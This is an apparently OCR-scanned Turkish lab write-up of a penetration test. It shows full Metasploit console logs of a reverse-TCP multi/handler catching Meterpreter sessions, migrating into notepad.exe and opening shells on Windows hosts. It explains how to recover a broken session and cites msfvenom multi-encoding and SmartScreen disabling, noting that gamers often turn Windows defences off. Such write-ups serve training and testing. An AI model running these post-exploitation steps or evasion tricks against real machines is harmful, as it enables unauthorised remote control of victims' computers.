payload'larn ¢alhistirdigimda multi/handler listener'in 3 session'dan birini ¢aligir halde
yakalayamadigini iki kez miisahade etmis bulunmaktayim. Her zaman olmasa da denemelerim
sonucunda nadiren bu olay gerceklesmekte. Ancak bu sorun tolere edilebilmekte. $6yle ki bu



durumu ¢ézmek igin teknolojinin altin kurali olan a¢ kapa iglemini yapmak yeterlidir. Yani gelen
ama kullanilamayan bozuk session1 kill yapip sonlandirmaliy1z. Bunun akabinde sonlandirdigimiz
session’1n geldigi kurban sistem i¢in AutoRunScript'i kendiliginden tekrar calisacaktir ve
AutoRunScript’teki migrate modiilii bu sefer saglikhi bir sekilde islemini gerceklestirip bozuk gelen
session'1 ¢alisir durumda sunacaktir.

Ornegin bu olay1 deneyimledigim durumlardan bir tanesini ve ¢dziim uygulamasi sonrasi sorunun
halloldugunu gésteren komut ve ¢ikti dizisini asagida vermis bulunmaktayim:

Olay
Seri gelen session’lardan bazisinin elde edilememesi
(6zim

Elde edilemeyen (yani bozuk elde edilen) session’1 sonlandirmak ve kendiliginden tekrar
baslamasini beklemek

Kayitlar

Kali Linux 2018:
msf exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.3.73:443

msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77

[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500

[*] Sending stage (179779 bytes) to 172.16.3.105

[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500

[*] Session ID 1 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against PENTEST-WINXP

[*] Current server process: putty.exe (2788)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2884

[*] Sending stage (179779 bytes) to 172.16.3.111

[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14
01:21:10 -0500

[*] Session ID 2 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/
windows/manage/migrate'



[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: putty.exe (812)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 772

[*] Session ID 3 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against SGELPENTESTO01

[*] Current server process: putty.exe (1996)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 12892

[+] Successfully migrated to process 2884

[+] Successfully migrated to process 12892

( Benim Not )

3ncii session’1n migrate islemi basarili olduguna dair ¢iktiya yansiyan bir sey yok.

msf exploit(multi/handler) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows PENTEST @ PENTEST-WINXP 172.16.3.73:443 -> 172.16.3.77:1044
(172.16.3.77)

2 meterpreter x86/windows WIN\Administrator @ WIN-VJ7UU9G4VTO 172.16.3.73:443 -> 172.16.3.105:49159
(172.16.3.105)

3 meterpreter x86/windows SGELPENTEST01@ SGELPENTESTO01 172.16.3.73:443 -> 172.16.3.111:5914
(172.16.3.111)

( Benim Not )

Bir tanesinin migrate islemi mechul olmasina ragmen 3 session elde edildi diye listeye
gelebilmekte. Birinci session calisiyor mu testi yapilir:
msf exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell

Process 3064 created.

Channel 1 created.

Microsoft Windows XP [S@r€m 5.1.2600]

(C) Telif Hakk4p 1985-2001 Microsoft Corp.
C:\Documents and Settings\pentest\Desktop>exit

( Benim Not )

Birinci session calisiyor.



meterpreter > background
msf exploit(multi/handler) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows PENTEST @ PENTEST-WINXP 172.16.3.73:443 -> 172.16.3.77:1044

(172.16.3.77)

2 meterpreter x86/windows WIN\Administrator @ WIN-VJ7UU9G4VTO 172.16.3.73:443 -> 172.16.3.105:49159

(172.16.3.105)

3 meterpreter x86/windows SGELPENTEST01@ SGELPENTESTO1 172.16.3.73:443 -> 172.16.3.111:5914

(172.16.3.111)

( Benim Not )

Ikinci session ¢alisiyor mu testi yapilir.

msf exploit(multi/handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter > shell

[-] Error running command shell: Rex::TimeoutError Operation timed out.

( Benim Not )

Ikinci session bozuk durumda. Simdi meterpreter oturumundan geri dénelim ve bu

session’1 sonlandiralim.

meterpreter > background
msf exploit(multi/handler) > sessions -k 2

[*] Killing the following session(s): 2

[*] Killing session 2

[*] 172.16.3.105 - Meterpreter session 2 closed.
( Benim Not )

Normalde bu sonlandirma islemi sonrasi

msf exploit(multi/handler) >

satirt komut satirirmiza gelmeliydi. Ancak AutoRunScript arkada tekrar devreye girip
session’1 restore ettigine dair ¢iktilar1 ekrana veriyor.



[*] Sending stage (179779 bytes) to 172.16.3.105

[*] Meterpreter session 4 opened (172.16.3.73:443 -> 172.16.3.105:49160) at 2018-11-14
01:24:51 -0500

[*] Session ID 4 (172.16.3.73:443 -> 172.16.3.105:49160) processing AutoRunScript 'post/
windows/manage/migrate'

[*] Running module against WIN-VJ7UU9G4VTO

[*] Current server process: cmd.exe (772)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 408

[+] Successfully migrated to process 408

( Benim Not )

Bakalim restore edilmis bozuk session su an ¢alisiyor mu?
msf exploit(multi/handler) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows PENTEST @ PENTEST-WINXP 172.16.3.73:443 -> 172.16.3.77:1044
(172.16.3.77)
3 meterpreter x86/windows SGELPENTEST01@ SGELPENTESTO1 ~ 172.16.3.73:443 -> 172.16.3.111:5914

4 meterpreter x86/windows WIN\Administrator @ WIN-VJ7UU9G4VTO 172.16.3.73:443 -> 172.16.3.105:49159
(172.16.3.105)

msf exploit(multi/handler) > sessions -i 4

[*] Starting interaction with 4...

meterpreter > shell

Process 1836 created.

Channel 1 created.

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>dir

Volume in drive C has no label.
Volume Serial Number is B213-F16D

Directory of C:\Users\Administrator\Desktop
12.11.2018 07:30 <DIR>

12.11.2018 07:30 <DIR> .
09.11.2018 14:32 61.952 deneme.exe



08.11.2018 15:46 111.104 notepad.exe
12.11.2018 07:29 810.496 putty.exe

3 File(s) 983.552 bytes

2 Dir(s) 26.989.809.664 bytes free

C:\Users\Administrator\Desktop>

(+) ( Benim Not )

Goriildiigii tizere artik session diizgiin ¢alisiyor ve session’in bulundugu sistemdeki
dosyalar1 sorunsuzca listeleyebiliyoruz.

1S VI SV NT NN NENI NPV NN NI SENIENENENTNENINENINENENT NPT NENENTNENT NPT NTNENT NN NENENTNENTNENINENTENTNENT NPT NENTNENTNENT TN NIV

Kaynaklar

https://security.stackexchange.com/questions/154245/encode-an-executable-file-multiple-time-
using-msf-venom
https://www.howtogeek.com/75356/how-to-turn-off-or-disable-the-smartscreen-filter-in-windows-
8/

https://kb.help.rapid7.com/discuss/59b2f9100d38c800107859dc
https://kb.help.rapid7.com/discuss/598ab88172371b000f5a4675

// Online oyunlarda FPS Drop denilen sikintiy1 yasamamak ya da olabildigince minimize etmek
isteyen tayfa genellikle windows giivenlik mekanizmalarini ve daha birgok seyi disable
edebilmekteler. Dolayisiyla asagidaki Windows Defender Smart Filter'r disable edebilecek disarida
y1ginca oyun meraklisi insan vardir.
https://www.howtogeek.com/75356/how-to-turn-off-or-disable-the-smartscreen-filter-in-windows-
8/



